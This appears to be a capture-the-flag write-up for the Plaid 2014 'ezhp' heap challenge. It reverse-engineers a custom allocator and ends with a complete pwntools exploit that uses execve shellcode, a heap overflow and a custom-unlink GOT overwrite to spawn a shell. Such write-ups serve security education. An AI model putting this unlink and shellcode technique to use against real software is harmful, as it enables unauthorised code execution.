본문 바로가기

CTFs/Plaid 2014

[Plaid 2014] pwnable : ezhp

ezhp

This challenge is my first exp to exploit heap overflow bug. So more time is needed than other cases.

Anyway, Given file is x86 stripped elf file.

1
2
3
zero@ubuntu:~/Desktop/ctf/plaid2014$ file ezhp
ezhp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2for GNU/Linux 2.6.24, stripped
 
cs

Applied memory protections are..

1
2
3
4
5
6
7
8
zero@ubuntu:~/Desktop/ctf/plaid2014$ gdb -q ./ezhp
Reading symbols from ./ezhp...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
cs

None of MPs except partial RELRO! Canary and NX is disable. But maybe there is ASLR enable on server env.

1
2
3
4
5
6
7
8
zero@ubuntu:~/Desktop/ctf/plaid2014$ ./ezhp
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
cs

maybe this challenge is just simple overflow prob whether stack or heap.


let's start with 'add_note' disassembly code!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int add_note()
{
  int result; // eax@2
  intptr_t delta; // [sp+18h] [bp-10h]@3
 
  if ( limit <= 1022 )
  {
    puts("Please give me a size.");
    fflush(stdout);
    __isoc99_scanf("%d%*c"&delta);
    *&buf[4 * limit] = cus_malloc(delta);
    result = limit++ + 1;
  }
  else
  {
    puts("The emperor says there are too many notes!");
    result = fflush(stdout);
  }
  return result;
}
cs

add_note function, Firstly scan the buffer size and save result of cus_malloc in buf[4*limit]. ( buf[] size is 4096 bytes )

And we can add a note maximum 1022 times.


In cus_malloc,

1
2
3
4
5
deltaa = delta + 12 - (delta + 12) % 12u + 12;// size - size % 12 + 24
...
    if ( deltaa < 1036 )
      deltaa = 1036;
    v4 = sbrk(deltaa);
cs

Minimum size is 1036 bytes and it allocates with sbrk() ( similar with malloc(), actually malloc() also use brk() internally )

sbrk() works as expending data segment's area ( expending end of segment )


% For example sbrk(0x1000) will exactly allocate 0x1000 unlike malloc() ( malloc() allocates more memory to prevent calling brk() again later.

% If u wanna know about the lowest address of segments, then u just use sbrk(0) and it'll return the address.


Next is 'change note' function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ssize_t change_note() {
  ssize_t result; // eax@1
  int id; // [sp+18h] [bp-10h]@1
  size_t nbytes; // [sp+1Ch] [bp-Ch]@4
 
  puts("Please give me an id.");
  fflush(stdout);
  __isoc99_scanf("%d%*c"&id);
  result = limit;
  if ( id <= limit )  {
    result = id;
    if ( id >= 0 )    {
      result = *&buf[4 * id];
      if ( result )      {
        puts("Please give me a size.");
        fflush(stdout);
        __isoc99_scanf("%d%*c"&nbytes);
        puts("Please input your data.");
        fflush(stdout);
        result = read(0*&buf[4 * id], nbytes);
      }
    }
  }
  return result;
}
cs

There are codes which have heap overflow because read() is used without any bound checking.


In remove_note func...

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int __cdecl cus_free(int ptr) {
  int result; // eax@8
  int v2; // [sp+4h] [bp-Ch]@2
  int v3; // [sp+8h] [bp-8h]@2
  int v4; // [sp+Ch] [bp-4h]@2
 
  if ( ptr )
  {
    v2 = ptr - 12;
    v3 = *(ptr - 12 + 8);
    v4 = *(ptr - 12 + 4);
    if ( v3 )
      *(v3 + 4= v4;
    if ( v4 )
      *(v4 + 8= v3;
    *(v2 + 4= *(sbrk_ptr + 4);
    if ( *(sbrk_ptr + 4) )
      *(*(sbrk_ptr + 4+ 8= v2;
    *(sbrk_ptr + 4= v2;
    result = ptr - 12;
    *v2 &= 0xFFFFFFFE;
  }
  return result;
}
 
// let's change to understandable codes,,,
 
typedef struct _heap {
    struct heap *prev;
    struct heap *next;
    size_t size;
} heap;
 
void __cdecl cus_free(void *ptr) {
  if ( ptr )  {
    heap *tmp = ptr - 12// current heap address 
    heap *prev = tmp->prev;
    heap *next = tmp->next;
    /* unlink() */
    if ( prev ) prev->next = next;
    if ( next ) next->prev = prev;
    /* store it in 'free list' ( sbrk_ptr ) */ 
    tmpr->next = sbrk_ptr->next;
    if ( sbrk_ptr->next )
      sbrk_ptr->next->prev = tmp;
    sbrk_ptr->next = tmp;
    tmp->size &= 0xFFFFFFFE;
  }
}
 
cs

custom unlink() writes prev(v3) at next+8 and next(v4) at prev+4.


Final Exploit Code :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
 
sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
 
def add_note(size):
    p.recvuntil("Please choose an option.\n")
    p.sendline("1")
    p.recvuntil("Please give me a size.\n")
    p.sendline(str(size))
 
def remove_note(id):
    p.recvuntil("Please choose an option.\n")
    p.sendline("2")
    p.recvuntil("Please give me an id.\n")
    p.sendline(str(id))
 
def change_note(id, size, payload):
    p.sendline("3")
    p.recvuntil("Please give me an id.\n")
    p.sendline(str(id))
    p.recvuntil("Please give me a size.\n")
    p.sendline(str(size))
    p.recvuntil("Please input your data.\n")
    p.sendline(str(payload))
 
def print_note(id):
    p.recvuntil("Please choose an option.\n")
    p.sendline("4")
    p.recvuntil("Please give me an id.\n")
    p.sendline(str(id))
 
size = 128
exit_got = 0x0804a010
 
= process("./ezhp")
 
# Stage 1 - add 3 notes
add_note(1)
add_note(size - 20)
add_note(1)
 
# Stage 2 - Overwrite GOT
p.recvuntil("Please choose an option.\n")
change_note(1, size, "A"*(size - 4+ p32(exit_got - 8))
 
# Stage 3 - custom unlink()
remove_note(2)
 
# Stage 4 - Write shellcode
change_note(0, size + 12"A"*(size + 12 - len(sc)) + sc)
 
# Stage 6 - Exit 
p.sendline("5")
 
# Get Shell!
p.interactive()
cs

Test Environment is Ubuntu 16.04 x86-64. ( Wherever it doesn't matter )


Get Shell!

1
2
3
4
5
6
7
8
9
10
11
12
zero@ubuntu:~/Desktop/ctf/plaid2014$ python ezhp.py
[+] Started program './ezhp'
[*] Switching to interactive mode
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
$ id
uid=1000(zero) gid=1000(zero) groups=1000(zero)
cs


'CTFs > Plaid 2014' 카테고리의 다른 글

[Plaid 2014] pwnable : tenement & sass  (0) 2016.08.27
[Plaid 2014] pwnable : kappa  (0) 2016.08.27
[Plaid 2014] reversing : hudak  (0) 2016.08.27
[Plaid 2014] forensic : zfs  (0) 2016.08.27
[Plaid 2014] forensic : rsa  (0) 2016.08.27